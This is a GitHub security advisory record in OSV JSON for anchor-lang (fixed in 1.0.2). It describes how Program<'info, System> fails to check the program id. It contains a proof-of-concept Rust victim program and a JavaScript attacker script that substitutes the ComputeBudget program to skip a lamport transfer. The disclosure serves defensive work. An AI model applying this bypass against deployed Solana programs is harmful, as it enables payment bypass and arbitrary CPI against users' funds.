{"id":"GHSA-c6rc-8jpp-2fgc","summary":"Anchor: Program\u003c'info, System\u003e is not properly validated","details":"### Summary\nAn logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.\n\n### Details\nIn the TryFrom\u003c&'a AccountInfo\u003c'a\u003e\u003e implementation for Program\u003c'a, T\u003e, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program\u003c'a, System\u003e are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.\n\nhttps://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163\n\n### PoC\nBuild and deploy the following anchor program:\n```rs\n/// victim.rs\n/// an anchor program that uses the system program in some way.\n\nuse anchor_lang::prelude::*;\nuse anchor_lang::prelude::program::invoke;\nuse anchor_lang::prelude::instruction::Instruction;\n\n#[derive(Accounts)]\npub struct Initialize\u003c'info\u003e {\n    #[account(mut)]\n    pub sender: Signer\u003c'info\u003e,\n    #[account(mut)]\n    pub recipient: SystemAccount\u003c'info\u003e,\n    // the \"System\" part here should ensure that callers can only pass the system program.\n    pub system_program: Program\u003c'info, System\u003e,\n}\n\npub fn handler(ctx: Context\u003cInitialize\u003e, amount: u64) -\u003e Result\u003c()\u003e {\n    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.\n    msg!(\"System program: {:?}\", ctx.accounts.system_program.key());\n\n    // construct a transfer instruction\n    // note that not only raw instructions, but also any other instruction\n    // builders that properly forward the passed in program id are vulnerable.\n    let mut data = Vec::new();\n    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator\n    data.extend_from_slice(&amount.to_le_bytes());  // amount\n\n    let accounts = vec![\n        AccountMeta::new(ctx.accounts.sender.key(), true),\n        AccountMeta::new(ctx.accounts.recipient.key(), false),\n    ];\n\n    let ix = Instruction {\n        program_id: ctx.accounts.system_program.key(),\n        accounts,\n        data,\n    };\n\n    let account_infos = [\n        ctx.accounts.sender.to_account_info(),\n        ctx.accounts.recipient.to_account_info(),\n        ctx.accounts.system_program.to_account_info(),\n    ];\n\n    // invoke the transfer instruction\n    invoke(&ix, &account_infos)?;\n\n    Ok(())\n}\n```\n\nRun the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js\n\n```js\n/// attacker.js\n/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen\n/// while the victim program thinks it has happened.\n\nimport { Connection, Keypair, PublicKey, SystemProgram } from \"@solana/web3.js\";\nimport { AnchorProvider, Program, Wallet } from \"@coral-xyz/anchor\";\nimport BN from \"bn.js\";\nimport fs from \"fs\";\nimport idl from \"./victim_idl.json\" with { type: \"json\" };  // the idl of the victim program, generated by `anchor build`\n\nconst keypair = Keypair.generate();\nconst receiver = Keypair.generate();\n\nconst connection = new Connection(\"http://localhost:8899\", \"confirmed\");\nconst provider = new AnchorProvider(connection, new Wallet(keypair), {});\n\nasync function airdrop(publicKey, amount) {\n    const tx = await connection.requestAirdrop(publicKey, amount);\n    await connection.confirmTransaction(tx);\n    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);\n}\n\nasync function printBalance(publicKey) {\n    const balance = await connection.getBalance(publicKey);\n    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);\n}\n\nawait airdrop(keypair.publicKey, 1e9);\nawait airdrop(receiver.publicKey, 1e9);\n\nconst program = new Program(idl, provider);\n\nconst tx = await program.methods\n    .initialize(new BN(1e9 / 2))\n    .accounts({\n        sender: keypair.publicKey,\n        recipient: receiver.publicKey,\n        // we pass the compute budget program instead of the system program\n        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.\n        // if we comment this out, anchor will pass in the system program and the transfer will succeed\n        systemProgram: new PublicKey(\"ComputeBudget111111111111111111111111111111\"),\n    })\n    .rpc();\n\nconsole.log(\"Transaction signature:\", tx);\nawait connection.confirmTransaction(tx);\n\n// Check balances\nawait printBalance(keypair.publicKey);\nawait printBalance(receiver.publicKey);\n\n/*\n\nexpected balances:\n499995000\n1500000000\n\nactual balances:\n999995000\n1000000000\n\n*/\n```\n\nInspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.\n\nIf you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.\n\n### Impact\nThis is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.","aliases":["CVE-2026-45137","RUSTSEC-2026-0144"],"modified":"2026-06-09T00:00:17.857926165Z","published":"2026-05-13T15:31:49Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-13T15:31:49Z","nvd_published_at":"2026-05-27T21:16:18Z","cwe_ids":["CWE-20"]},"references":[{"type":"WEB","url":"https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"},{"type":"WEB","url":"https://github.com/solana-foundation/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45137"},{"type":"PACKAGE","url":"https://github.com/solana-foundation/anchor"},{"type":"WEB","url":"https://github.com/solana-foundation/anchor/releases/tag/v1.0.2"},{"type":"WEB","url":"https://rustsec.org/advisories/RUSTSEC-2026-0144.html"}],"affected":[{"package":{"name":"anchor-lang","ecosystem":"crates.io","purl":"pkg:cargo/anchor-lang"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-c6rc-8jpp-2fgc/GHSA-c6rc-8jpp-2fgc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}